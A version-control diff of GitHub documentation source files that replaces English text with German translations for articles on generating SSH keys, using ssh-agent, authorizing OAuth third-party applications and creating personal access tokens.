{%- ifversion ghae %} <!-- GitHub AE is FIPS 140-2 compliant. FIPS does not yet permit keys that use the ed25519 algorithm. -->
```shell
$ ssh-keygen -t rsa -b 4096 -C "your_email@example.com"
$ ssh-keygen -t rsa -b 4096 -C "your_email@example.com"
@ -54,19 +58,18 @@ If you are a site administrator for {% data variables.location.product_location
```
{% note %}
**Note:** If you are using a legacy system that doesn't support the Ed25519 algorithm, use:
**Hinweis:** Wenn du ein Legacy-System verwendest, das den Ed25519-Algorithmus nicht unterstützt, verwende:
```shell
$ ssh-keygen -t rsa -b 4096 -C "your_email@example.com"
```
{% endnote %}
{%- endif %}
{% endnote %} {%- endif %}
This creates a new SSH key, using the provided email as a label.
Dadurch wird ein neuer SSH-Schlüssel erzeugt und die angegebene E-Mail-Adresse als Kennzeichnung verwendet.
```shell
> Generating public/private ALGORITHM key pair.
```
When you're prompted to "Enter a file in which to save the key", you can press **Enter** to accept the default file location. Please note that if you created SSH keys previously, ssh-keygen may ask you to rewrite another key, in which case we recommend creating a custom-named SSH key. To do so, type the default file location and replace id_ssh_keyname with your custom key name.
Wenn du aufgefordert wirst, eine Datei einzugeben, in der der Schlüssel gespeichert werden soll, kannst du die **EINGABETASTE** drücken, um den Standarddateispeicherort zu akzeptieren. Hinweis: Wenn du zuvor SSH-Schlüssel erstellt hast, wirst du möglicherweise von ssh-keygen aufgefordert, einen anderen Schlüssel neu zu schreiben. In diesem Fall wird empfohlen, einen SSH-Schlüssel mit benutzerdefiniertem Namen zu erstellen. Gib hierzu den Standarddateispeicherort ein, und ersetze id_ssh_keyname durch deinen benutzerdefinierten Schlüsselnamen.
{% mac %}
@ -93,36 +96,36 @@ When you're prompted to "Enter a file in which to save the key", you can press *
{% endlinux %}
4. At the prompt, type a secure passphrase. For more information, see ["Working with SSH key passphrases](/articles/working-with-ssh-key-passphrases)."
4. Gib an der Eingabeaufforderung eine sichere Passphrase ein. Weitere Informationen findest du unter [Arbeiten mit SSH-Schlüsselpassphrasen](/articles/working-with-ssh-key-passphrases).
```shell
> Enter passphrase (empty for no passphrase): [Type a passphrase]
> Enter same passphrase again: [Type passphrase again]
```
## Adding your SSH key to the ssh-agent
## Deinen SSH-Schlüssel zum SSH-Agenten hinzufügen
Before adding a new SSH key to the ssh-agent to manage your keys, you should have checked for existing SSH keys and generated a new SSH key. <span class="platform-mac">When adding your SSH key to the agent, use the default macOS `ssh-add` command, and not an application installed by [macports](https://www.macports.org/), [homebrew](http://brew.sh/), or some other external source.</span>
Bevor du dem SSH-Agent einen neuen SSH-Schlüssel hinzufügst, um deine Schlüssel zu verwalten, solltest du nach vorhandenen SSH-Schlüsseln überprüft und einen neuen SSH-Schlüssel generiert haben. <span class="platform-mac">Verwende beim Hinzufügen des SSH-Schlüssels zum Agent den macOS-Standardbefehl `ssh-add` und keine Anwendung, die von [MacPorts](https://www.macports.org/), [Homebrew](http://brew.sh/) oder einer anderen externen Quelle installiert wurde.</span>
{% mac %}
{% data reusables.command_line.start_ssh_agent %}
2. If you're using macOS Sierra 10.12.2 or later, you will need to modify your `~/.ssh/config` file to automatically load keys into the ssh-agent and store passphrases in your keychain.
2. Wenn du macOS Sierra 10.12.2 oder höher verwendest, musst du die `~/.ssh/config`-Datei bearbeiten, damit automatisch Schlüssel in den SSH-Agenten geladen und Passphrasen in der Schlüsselkette gespeichert werden.
* First, check to see if your `~/.ssh/config` file exists in the default location.
* Überprüfe zunächst, ob deine `~/.ssh/config`-Datei am Standardspeicherort vorhanden ist.
```shell
$ open ~/.ssh/config
> The file /Users/YOU/.ssh/config does not exist.
```
* If the file doesn't exist, create the file.
* Wenn die Datei nicht existiert, musst du sie erstellen.
```shell
$ touch ~/.ssh/config
```
* Open your `~/.ssh/config` file, then modify the file to contain the following lines. If your SSH key file has a different name or path than the example code, modify the filename or path to match your current setup.
* Öffne deine `~/.ssh/config`-Datei und ändere dann die Datei, um die folgenden Zeilen zu enthalten. Wenn deine SSH-Schlüsseldatei einen anderen Namen hat als die Datei im Beispielcode, passe den Dateinamen im Code entsprechend an.
```
Host *.{% ifversion ghes or ghae %}HOSTNAME{% else %}github.com{% endif %}
@ -133,11 +136,11 @@ Before adding a new SSH key to the ssh-agent to manage your keys, you should hav
{% note %}
**Notes:**
**Hinweise:**
- If you chose not to add a passphrase to your key, you should omit the `UseKeychain` line.
- Wenn du keine Passphrase zu deinem Schlüssel hinzufügen möchtest, solltest du die `UseKeychain`-Zeile auslassen.
- If you see a `Bad configuration option: usekeychain` error, add an additional line to the configuration's' `Host *.{% ifversion ghes or ghae %}HOSTNAME{% else %}github.com{% endif %}` section.
- Wenn ein `Bad configuration option: usekeychain`-Fehler angezeigt wird, füge dem Abschnitt `Host *.{% ifversion ghes or ghae %}HOSTNAME{% else %}github.com{% endif %}` der Konfiguration eine zusätzliche Zeile hinzu.
```
Host *.{% ifversion ghes or ghae %}HOSTNAME{% else %}github.com{% endif %}
@ -145,22 +148,22 @@ Before adding a new SSH key to the ssh-agent to manage your keys, you should hav
```
{% endnote %}
3. Add your SSH private key to the ssh-agent and store your passphrase in the keychain. {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
3. Füge deinen privaten SSH-Schlüssel zum SSH-Agenten hinzu, und speichere deine Passphrase in der Keychain. {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
```shell
$ ssh-add --apple-use-keychain ~/.ssh/id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}
```
{% note %}
**Note:** The `--apple-use-keychain` option stores the passphrase in your keychain for you when you add an SSH key to the ssh-agent. If you chose not to add a passphrase to your key, run the command without the `--apple-use-keychain` option.
**Hinweis:** Die `--apple-use-keychain`-Option speichert die Passphrase in der Keychain für dich, wenn du einen SSH-Schlüssel zum SSH-Agent hinzufügst. Wenn du keine Passphrase zu deinem Schlüssel hinzufügen möchtest, führe den Befehl ohne die `--apple-use-keychain`-Option aus.
The `--apple-use-keychain` option is in Apple's standard version of `ssh-add`. In MacOS versions prior to Monterey (12.0), the `--apple-use-keychain` and `--apple-load-keychain` flags used the syntax `-K` and `-A`, respectively.
Die Option `--apple-use-keychain` ist in der Standardversion von `ssh-add` von Apple enthalten. In MacOS-Versionen vor Monterey (12.0) wurde für die Flags `--apple-use-keychain` und `--apple-load-keychain` die Syntax `-K` bzw `-A` verwendet.
If you don't have Apple's standard version of `ssh-add` installed, you may receive an error. For more information, see "[Error: ssh-add: illegal option -- K](/articles/error-ssh-add-illegal-option-k)."
Wenn Du die Apple-Standardversion von `ssh-add` nicht installiert hast, tritt möglicherweise ein Fehler auf. Weitere Informationen Fehlers findest du unter [Fehler: ssh-add: illegal option -- K](/articles/error-ssh-add-illegal-option-k).
{% endnote %}
4. Add the SSH key to your account on {% data variables.product.product_name %}. For more information, see "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account)."
4. Füge deinem Konto auf {% data variables.product.product_name %} deinen SSH-Schlüssel hinzu. Weitere Informationen findest du unter [Hinzufügen eines neuen SSH-Schlüssels zu deinem {% data variables.product.prodname_dotcom %}-Konto](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account).
{% endmac %}
@ -168,17 +171,16 @@ Before adding a new SSH key to the ssh-agent to manage your keys, you should hav
{% data reusables.desktop.windows_git_bash %}
1. Ensure the ssh-agent is running. You can use the "Auto-launching the ssh-agent" instructions in "[Working with SSH key passphrases](/articles/working-with-ssh-key-passphrases)", or start it manually:
1. Stelle sicher, dass der SSH-Agent ausgeführt wird. Du kannst die Anleitung für „Automatisches Starten von ssh-agent“ unter [Arbeiten mit SSH-Schlüsselpassphrasen](/articles/working-with-ssh-key-passphrases) verwenden oder diese Komponente manuell starten:
```shell
# start the ssh-agent in the background
$ eval "$(ssh-agent -s)"
> Agent pid 59566
```
2. Add your SSH private key to the ssh-agent. {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
{% data reusables.ssh.add-ssh-key-to-ssh-agent-commandline %}
2. Füge deinen privaten SSH-Schlüssel zum SSH-Agenten hinzu. {% data reusables.ssh.add-ssh-key-to-ssh-agent %} {% data reusables.ssh.add-ssh-key-to-ssh-agent-commandline %}
3. Add the SSH key to your account on {% data variables.product.product_name %}. For more information, see "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account)."
3. Füge deinem Konto auf {% data variables.product.product_name %} deinen SSH-Schlüssel hinzu. Weitere Informationen findest du unter [Hinzufügen eines neuen SSH-Schlüssels zu deinem {% data variables.product.prodname_dotcom %}-Konto](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account).
{% endwindows %}
@ -186,36 +188,33 @@ Before adding a new SSH key to the ssh-agent to manage your keys, you should hav
{% data reusables.command_line.start_ssh_agent %}
2. Add your SSH private key to the ssh-agent. {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
{% data reusables.ssh.add-ssh-key-to-ssh-agent-commandline %}
2. Füge deinen privaten SSH-Schlüssel zum SSH-Agenten hinzu. {% data reusables.ssh.add-ssh-key-to-ssh-agent %} {% data reusables.ssh.add-ssh-key-to-ssh-agent-commandline %}
3. Add the SSH key to your account on {% data variables.product.product_name %}. For more information, see "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account)."
3. Füge deinem Konto auf {% data variables.product.product_name %} deinen SSH-Schlüssel hinzu. Weitere Informationen findest du unter [Hinzufügen eines neuen SSH-Schlüssels zu deinem {% data variables.product.prodname_dotcom %}-Konto](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account).
{% endlinux %}
## Generating a new SSH key for a hardware security key
## Generieren eines neuen SSH-Schlüssels für einen Hardwaresicherheitsschlüssel
If you are using macOS or Linux, you may need to update your SSH client or install a new SSH client prior to generating a new SSH key. For more information, see "[Error: Unknown key type](/github/authenticating-to-github/error-unknown-key-type)."
Wenn du macOS oder Linux verwendest, musst du möglicherweise deinen SSH-Client aktualisieren oder einen neuen SSH-Client installieren, bevor du einen neuen SSH-Schlüssel generierst. Weitere Informationen findest du unter [Fehler: Unbekannter Schlüsseltyp](/github/authenticating-to-github/error-unknown-key-type).
1. Insert your hardware security key into your computer.
1. Füge deinem Computer deinen Hardwaresicherheitsschlüssel hinzu.
{% data reusables.command_line.open_the_multi_os_terminal %}
3. Paste the text below, substituting in the email address for your account on {% data variables.product.product_name %}.
3. Füge den folgenden Text ein und ersetze ihn in der E-Mail-Adresse deines Kontos auf {% data variables.product.product_name %}.
```shell
$ ssh-keygen -t {% ifversion ghae %}ecdsa{% else %}ed25519{% endif %}-sk -C "YOUR_EMAIL"
```
{%- ifversion not ghae %}
{% note %}
{%- ifversion not ghae %} {% note %}
**Note:** If the command fails and you receive the error `invalid format` or `feature not supported,` you may be using a hardware security key that does not support the Ed25519 algorithm. Enter the following command instead.
**Hinweis:** Wenn der Befehl fehlschlägt und du den Fehler `invalid format` oder `feature not supported,` erhältst, verwende möglicherweise einen Hardwaresicherheitsschlüssel, der den Ed25519-Algorithmus nicht unterstützt. Gib stattdessen den folgenden Befehl ein.
```shell
$ ssh-keygen -t ecdsa-sk -C "your_email@example.com"
```
{% endnote %}
{%- endif %}
4. When you are prompted, touch the button on your hardware security key.
5. When you are prompted to "Enter a file in which to save the key," press Enter to accept the default file location.
{% endnote %} {%- endif %}
4. Wenn du dazu aufgefordert wirst, drücke die Schaltfläche auf deinem Hardwaresicherheitsschlüssel.
5. Wenn du aufgefordert wirst, „Eine Datei einzugeben, in der die Taste gespeichert werden soll", drücke EINGABE, um den Standarddateispeicherort zu akzeptieren.
{% mac %}
@ -241,9 +240,9 @@ If you are using macOS or Linux, you may need to update your SSH client or insta
{% endlinux %}
6. When you are prompted to type a passphrase, press **Enter**.
6. Wenn du aufgefordert wirst, eine Passphrase einzugeben, drücke **Eingeben**.
```shell
> Enter passphrase (empty for no passphrase): [Type a passphrase]
> Enter same passphrase again: [Type passphrase again]
```
7. Add the SSH key to your account on {% data variables.product.prodname_dotcom %}. For more information, see "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account)."
7. Füge deinem Konto auf {% data variables.product.prodname_dotcom %} den SSH-Schlüssel hinzu. Weitere Informationen findest du unter [Hinzufügen eines neuen SSH-Schlüssels zu deinem {% data variables.product.prodname_dotcom %}-Konto](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account).

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Authentication
intro: 'Keep your account and data secure with features like {% ifversion not ghae %}two-factor authentication, {% endif %}SSH{% ifversion not ghae %},{% endif %} and commit signature verification.'
title: Authentifizierung
intro: 'Halte dein Konto und deine Daten mit Features wie {% ifversion not ghae %}Zwei-Faktor-Authentifizierung, {% endif %}SSH{% ifversion not ghae %},{% endif %} und Commitsignaturprüfung geschützt.'
redirect_from:
- /categories/56/articles
- /categories/ssh
@ -56,5 +56,11 @@ children:
- /troubleshooting-ssh
- /managing-commit-signature-verification
- /troubleshooting-commit-signature-verification
ms.openlocfilehash: b5428934e7300a8e7581b03c7d43d2afd7c600bd
ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/11/2022
ms.locfileid: '145104124'
---

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Connecting with third-party applications
intro: 'You can connect your {% data variables.product.product_name %} identity to third-party applications using OAuth. When authorizing one of these applications, you should ensure you trust the application, review who it''s developed by, and review the kinds of information the application wants to access.'
title: Mit Anwendungen von Drittanbietern verbinden
intro: 'Du kannst deine {% data variables.product.product_name %}-Identität über OAuth mit Drittanbieteranwendungen verbinden. Wenn du eine dieser Anwendungen autorisierst, solltest du sicherstellen, dass es sich um eine vertrauenswürdige Anwendung handelt, und prüfen, von wem sie entwickelt wurde und auf welche Informationen sie zugreifen möchte.'
redirect_from:
- /articles/connecting-with-third-party-applications
- /github/authenticating-to-github/connecting-with-third-party-applications
@ -14,64 +14,70 @@ topics:
- Identity
- Access management
shortTitle: Third-party applications
ms.openlocfilehash: b8cd20d36926c373116061e211be62701b1bd2f6
ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/11/2022
ms.locfileid: '145104120'
---
When a third-party application wants to identify you by your {% data variables.product.product_name %} login, you'll see a page with the developer contact information and a list of the specific data that's being requested.
Wenn du eine Drittanbieter-Anwendung mit deiner {% data variables.product.product_name %}-Anmeldung identifizieren möchtest, wird eine Seite mit den Kontaktdaten des Entwicklers und einer Liste der angeforderten Daten angezeigt.
## Contacting the application developer
## Den Anwendungsentwickler kontaktieren
Because an application is developed by a third-party who isn't {% data variables.product.product_name %}, we don't know exactly how an application uses the data it's requesting access to. You can use the developer information at the top of the page to contact the application admin if you have questions or concerns about their application.
Wenn eine Anwendung nicht von {% data variables.product.product_name %}, sondern von einem Drittanbieter entwickelt wurde, wissen wir nicht genau, wie diese Anwendung die Daten nutzt, auf die sie zugreifen möchte. Wende Dich via die Angaben zum Entwickler, die du oben auf der Seite findest, an den Anwendungsadministrator, falls du Fragen oder Bedenken zu seiner Anwendung hast.
![{% data variables.product.prodname_oauth_app %} owner information](/assets/images/help/platform/oauth_owner_bar.png)
![{% data variables.product.prodname_oauth_app %}-Inhaberinformationen](/assets/images/help/platform/oauth_owner_bar.png)
If the developer has chosen to supply it, the right-hand side of the page provides a detailed description of the application, as well as its associated website.
Auf der rechten Seite findest du eine detaillierte Beschreibung der Anwendung und die zugehörige Website, sofern der Entwickler diese Informationen bereitgestellt hat.
![OAuth application information and website](/assets/images/help/platform/oauth_app_info.png)
![OAuth-Anwendungsinformationen und -Website](/assets/images/help/platform/oauth_app_info.png)
## Types of application access and data
## Typen an Anwendungszugriff und Daten
Applications can have *read* or *write* access to your {% data variables.product.product_name %} data.
Anwendungen können *Lese*- oder *Schreibzugriff* auf deine {% data variables.product.product_name %}-Daten haben.
- **Read access** only allows an application to *look at* your data.
- **Write access** allows an application to *change* your data.
- **Lesezugriff** ermöglicht einer Anwendung nur, deine Daten *anzuzeigen*.
- Bei **Schreibzugriff** kann eine Anwendung deine Daten *ändern*.
### About OAuth scopes
### Informationen zu OAuth-Scopes
*Scopes* are named groups of permissions that an application can request to access both public and non-public data.
*Bereiche* sind benannte Gruppen von Berechtigungen, die eine Anwendung anfordern kann, um auf öffentliche und nicht öffentliche Daten zuzugreifen.
When you want to use a third-party application that integrates with {% data variables.product.product_name %}, that application lets you know what type of access to your data will be required. If you grant access to the application, then the application will be able to perform actions on your behalf, such as reading or modifying data. For example, if you want to use an app that requests `user:email` scope, the app will have read-only access to your private email addresses. For more information, see "[About scopes for {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)."
Wenn du eine Drittanbieter-Anwendung verwenden möchtest, die in {% data variables.product.product_name %} integriert ist, teilt diese Anwendung dir mit, welche Art von Zugriff auf deine Daten benötigt wird. Wenn du der App Zugriff erteilst, kann sie Aktionen in deinem Namen durchführen, beispielsweise das Lesen oder Ändern von Daten. Wenn du beispielsweise eine App verwenden möchtest, mit der der Geltungsbereich `user:email` angefordert wird, hat die App schreibgeschützten Zugriff auf deine privaten E-Mail-Adressen. Weitere Informationen findest du unter „[Informationen zu Geltungsbereichen für {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps).
{% tip %}
**Note:** Currently, you can't scope source code access to read-only.
**Hinweis:** Derzeit kannst du Quellcode-Zugriff nicht in einen Lesezugriff ändern.
{% endtip %}
### Types of requested data
### Arten der angeforderten Daten
There are several types of data that applications can request.
Es gibt mehrere Typen von Daten, die Anwendungen anfordern können.
![OAuth access details](/assets/images/help/platform/oauth_access_types.png)
![OAuth-Zugriffsdetails](/assets/images/help/platform/oauth_access_types.png)
{% tip %}
**Tip:** {% data reusables.user-settings.review_oauth_tokens_tip %}
**Tipp:** {% data reusables.user-settings.review_oauth_tokens_tip %}
{% endtip %}
| Type of data | Description |
| Datentyp | BESCHREIBUNG |
| --- | --- |
| Commit status | You can grant access for a third-party application to report your commit status. Commit status access allows applications to determine if a build is a successful against a specific commit. Applications won't have access to your code, but they <em>can</em> read and write status information against a specific commit. |
| Deployments | Deployment status access allows applications to determine if a deployment is successful against a specific commit for a repository. Applications won't have access to your code. |
| Gists | [Gist](https://gist.github.com) access allows applications to read or write to {% ifversion not ghae %}both your public and{% else %}both your internal and{% endif %} secret Gists. |
| Hooks | [Webhooks](/webhooks) access allows applications to read or write hook configurations on repositories you manage. |
| Notifications | Notification access allows applications to read your {% data variables.product.product_name %} notifications, such as comments on issues and pull requests. However, applications remain unable to access anything in your repositories. |
| Organizations and teams | Organization and teams access allows apps to access and manage organization and team membership. |
| Personal user data | User data includes information found in your user profile, like your name, e-mail address, and location. |
| Repositories | Repository information includes the names of contributors, the branches you've created, and the actual files within your repository. An application can request access to all of your repositories of any visibility level. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." |
| Repository delete | Applications can request to delete repositories that you administer, but they won't have access to your code. |
| Commit-Status | Du kannst einer Drittanbieter-Anwendung Zugriff gewähren, um deinen Commit-Status zu melden. Der Zugriff auf den Commit-Status ermöglicht es Anwendungen, zu ermitteln, ob ein Build erfolgreich für einen bestimmten Commit ist. Anwendungen erhalten keinen Zugriff auf deinen Code, <em>können</em> aber Statusinformationen für einen bestimmten Commit lesen und bearbeiten. |
| Bereitstellungen | Der Zugriff auf den Bereitstellungsstatus ermöglicht es Anwendungen zu ermitteln, ob eine Bereitstellung für einen bestimmten Commit für ein Repository erfolgreich ist. Anwendungen erhalten keinen Zugriff auf deinen Code. |
| Gists | Mit [Gist](https://gist.github.com)-Zugriff erhalten Anwendungen {% ifversion not ghae %}sowohl für deine öffentlichen als auch{% else %}sowohl für deine internen als auch{% endif %} geheimen Gists Lese- und Schreibzugriff. |
| Hooks | [Webhooks](/webhooks)-Zugriff ermöglicht Anwendungen das Lesen oder Schreiben von Hook-Konfigurationen in Repositorys, die du verwaltest. |
| Benachrichtigungen | Der Benachrichtungszugriff ermöglicht es Anwendungen, deine {% data variables.product.product_name %}-Benachrichtigungen zu lesen, z. B. Kommentare zu Problemen und Pull Requests. Die Anwendungen können jedoch auf keine Inhalte deiner Repositorys zugreifen. |
| Organisationen und Teams | Mit dem Organisations- und Teamzugriff können Apps auf Organisations- und Teammitglieder zugreifen und sie verwalten. |
| Persönliche Benutzerdaten | Zu Benutzerdaten gehören die Angaben in deinem Benutzerprofil, beispielsweise dein Name, deine E-Mail-Adresse und dein Standort. |
| Repositorys | Repository-Informationen umfassen die Namen der Mitarbeiter, die von Dir erstellten Branches und die effektiven Dateien in deinem Repository. Eine Anwendung kann Zugriff auf alle deine Repositorys aller Sichtbarkeitsebene anfordern. Weitere Informationen findest du unter [Informationen zu Repositorys](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). |
| Repository-Löschung | Anwendungen können die Löschung von Repositorys anfordern, die du verwaltest, aber sie erhalten keinen Zugriff auf deinen Code. |
## Requesting updated permissions
## Aktualisierte Berechtigungen anfordern
Applications can request new access privileges. When asking for updated permissions, the application will notify you of the differences.
Anwendungen können neue Zugriffsberechtigungen anfordern. Wenn eine Applikation aktualisierte Berechtigungen anfordert, wird sie Dich über die Unterschiede informieren.
![Changing third-party application access](/assets/images/help/platform/oauth_existing_access_pane.png)
![Zugriff von Drittanbieter-Anwendungen ändern](/assets/images/help/platform/oauth_existing_access_pane.png)

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Creating a personal access token
intro: 'You can create a {% data variables.product.pat_generic %} to use in place of a password with the command line or with the API.'
title: Erstellen eines persönlichen Zugriffstokens
intro: 'Du kannst ein {% data variables.product.pat_generic %} erstellen, das anstelle eines Kennworts mit der Befehlszeile oder der API verwendet wird.'
redirect_from:
- /articles/creating-an-oauth-token-for-command-line-use
- /articles/creating-an-access-token-for-command-line-use
@ -18,36 +18,41 @@ topics:
- Identity
- Access management
shortTitle: 'Create a {% data variables.product.pat_generic %}'
ms.openlocfilehash: 78928110c7a8861a9c13d093799454f945eaaf2c
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/25/2022
ms.locfileid: '148107749'
---
{% warning %}
**Warning**: Treat your access tokens like passwords.
**Warnung**: Behandle deine Zugriffstoken wie Kennwörter.
To access {% data variables.product.company_short %} from the command line, consider using {% data variables.product.prodname_cli %} or [Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager/blob/main/README.md) instead of creating a {% data variables.product.pat_generic %}.
Um über die Befehlszeile auf {% data variables.product.company_short %} zuzugreifen, solltest du {% data variables.product.prodname_cli %} oder [Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager/blob/main/README.md) verwenden, anstatt ein {% data variables.product.pat_generic %} zu erstellen.
When using a {% data variables.product.pat_generic %} in a script, consider storing your token as a secret and running your script through {% data variables.product.prodname_actions %}. For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."{%- ifversion ghec or fpt %} You can also store your token as a {% data variables.product.prodname_codespaces %} secret and run your script in {% data variables.product.prodname_codespaces %}. For more information, see "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)."{% endif %}
Wenn du ein {% data variables.product.pat_generic %} in einem Skript verwendest, solltest du dein Token als Geheimnis speichern und das Skript über {% data variables.product.prodname_actions %} ausführen. Weitere Informationen findest du unter [Verschlüsselte Geheimnisse](/actions/security-guides/encrypted-secrets).{%- ifversion ghec or fpt %}Du kannst dein Token auch als {% data variables.product.prodname_codespaces %}-Geheimnis speichern und dein Skript in {% data variables.product.prodname_codespaces %} ausführen. Weitere Informationen findest du unter [Verwalten verschlüsselter Geheimnisse für deine Codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces).{% endif %}
If these options are not possible, consider using another service such as [the 1Password CLI](https://developer.1password.com/docs/cli/secret-references/) to store your token securely.
Wenn diese Optionen nicht verfügbar sind, solltest du einen anderen Dienst wie zum Beispiel die [1Password CLI](https://developer.1password.com/docs/cli/secret-references/) nutzen, um dein Token sicher zu speichern.
{% endwarning %}
## About {% data variables.product.pat_generic %}s
## Informationen zu {% data variables.product.pat_generic %}
{% data variables.product.pat_generic_caps %} are an alternative to using passwords for authentication to {% data variables.product.product_name %} when using the [GitHub API](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens) or the [command line](#using-a-token-on-the-command-line). {% data variables.product.pat_generic_caps %}s are intended to access {% data variables.product.company_short %} resources on behalf of yourself. To access resources on behalf of an organization, or for long-lived integrations, you should use a {% data variables.product.prodname_github_app %}. For more information, see "[About apps](/developers/apps/getting-started-with-apps/about-apps)."
{% data variables.product.pat_generic_caps %} sind eine Alternative zur Verwendung von Kennwörtern für die Authentifizierung bei {% data variables.product.product_name %} über die [GitHub-API](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens) oder die [Befehlszeile](#using-a-token-on-the-command-line). {% data variables.product.pat_generic_caps %} sind für den Zugriff auf {% data variables.product.company_short %}-Ressourcen in deinem Namen vorgesehen. Für den Zugriff auf Ressourcen im Auftrag einer Organisation oder für langfristige Integrationen sollte eine {% data variables.product.prodname_github_app %} verwendet werden. Weitere Informationen findest du unter [Informationen zu Apps](/developers/apps/getting-started-with-apps/about-apps).
{% ifversion pat-v2 %}
{% data variables.product.company_short %} currently supports two types of {% data variables.product.pat_generic %}s: {% data variables.product.pat_v2 %}s and {% data variables.product.pat_v1_plural %}. {% data variables.product.company_short %} recommends that you use {% data variables.product.pat_v2 %}s instead of {% data variables.product.pat_v1_plural %} whenever possible. {% data variables.product.pat_v2_caps %}s have several security advantages over {% data variables.product.pat_v1_plural %}:
{% data variables.product.company_short %} unterstützt derzeit zwei Arten von {% data variables.product.pat_generic %}: {% data variables.product.pat_v2 %} und {% data variables.product.pat_v1_plural %}. {% data variables.product.company_short %} empfiehlt, nach Möglichkeit {% data variables.product.pat_v2 %} anstelle von {% data variables.product.pat_v1_plural %} zu verwenden. {% data variables.product.pat_v2_caps %} hat gegenüber {% data variables.product.pat_v1_plural %} einige Sicherheitsvorteile:
- Each token can only access resources owned by a single user or organization.
- Each token can only access specific repositories.
- Each token is granted specific permissions, which offer more control than the scopes granted to {% data variables.product.pat_v1_plural %}.
- Each token must have an expiration date.
- Organization owners can require approval for any {% data variables.product.pat_v2 %}s that can access resources in the organization.{% ifversion ghec or ghes or ghae %}
- Enterprise owners can require approval for any {% data variables.product.pat_v2 %}s that can access resources in organizations owned by the enterprise.{% endif %}
- Jedes Token kann nur auf Ressourcen zugreifen, die einem oder einer einzelnen Benutzer*in oder einer Organisation gehören.
- Jedes Token kann nur auf bestimmte Repositorys zugreifen.
- Jedes Token erhält bestimmte Berechtigungen, die mehr Kontrolle bieten als die Berechtigungen, die {% data variables.product.pat_v1_plural %} erteilt werden.
- Jedes Token muss über ein Ablaufdatum verfügen.
- Organisationsinhaber*innen können die Genehmigung für alle {% data variables.product.pat_v2 %} erzwingen, die auf Ressourcen in der Organisation zugreifen können.{% ifversion ghec or ghes or ghae %}
- Unternehmensinhaber*innen können die Genehmigung für alle {% data variables.product.pat_v2 %} erzwingen, die auf Ressourcen in der Organisation zugreifen können, die dem Unternehmen gehören.{% endif %}
Additionally, organization owners can restrict the access of {% data variables.product.pat_v1 %} to their organization{% ifversion ghec or ghes or ghae %}, and enterprise owners can restrict the access of {% data variables.product.pat_v1 %} to the enterprise or organizations owned by the enterprise{% endif %}.
Darüber hinaus können Organisationsinhaber*innen den Zugriff auf {% data variables.product.pat_v1 %} auf ihre Organisation beschränken{% ifversion ghec or ghes or ghae %}, und Unternehmensinhaber*innen können den Zugriff auf {% data variables.product.pat_v1 %} auf das Unternehmen oder die Organisation beschränken, die dem Unternehmen gehört{% endif %}.
{% data reusables.user-settings.patv2-limitations %}
@ -57,40 +62,38 @@ Additionally, organization owners can restrict the access of {% data variables.p
{% ifversion pat-v2 %}
## Creating a {% data variables.product.pat_v2 %}
## Erstellen eines {% data variables.product.pat_v2 %}
{% note %}
**Note**: {% data reusables.user-settings.pat-v2-beta %}
**Hinweis**: {% data reusables.user-settings.pat-v2-beta %}
{% endnote %}
{% ifversion fpt or ghec %}1. [Verify your email address](/github/getting-started-with-github/verifying-your-email-address), if it hasn't been verified yet.{% endif %}
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.developer_settings %}
1. In the left sidebar, under **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}s**, click **Fine-grained tokens**.
1. Click **Generate new token**.
1. Optionally, under **Token name**, enter a name for the token.
1. Under **Expiration**, select an expiration for the token.
1. Optionally, under **Description**, add a note to describe the purpose of the token.
1. Under **Resource owner**, select a resource owner. The token will only be able to access resources owned by the selected resource owner. Organizations that you are a member of will not appear unless the organization opted in to {% data variables.product.pat_v2 %}s. For more information, see "[Setting a {% data variables.product.pat_generic %} policy for your organization](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization)."{% ifversion ghec or ghae %} You may be required to perform SAML single sign-on (SSO) if the selected organization requires it and you do not already have an active SAML session.{% endif %}
1. Optionally, if the resource owner is an organization that requires approval for {% data variables.product.pat_v2 %}s, below the resource owner, in the box, enter a justification for the request.
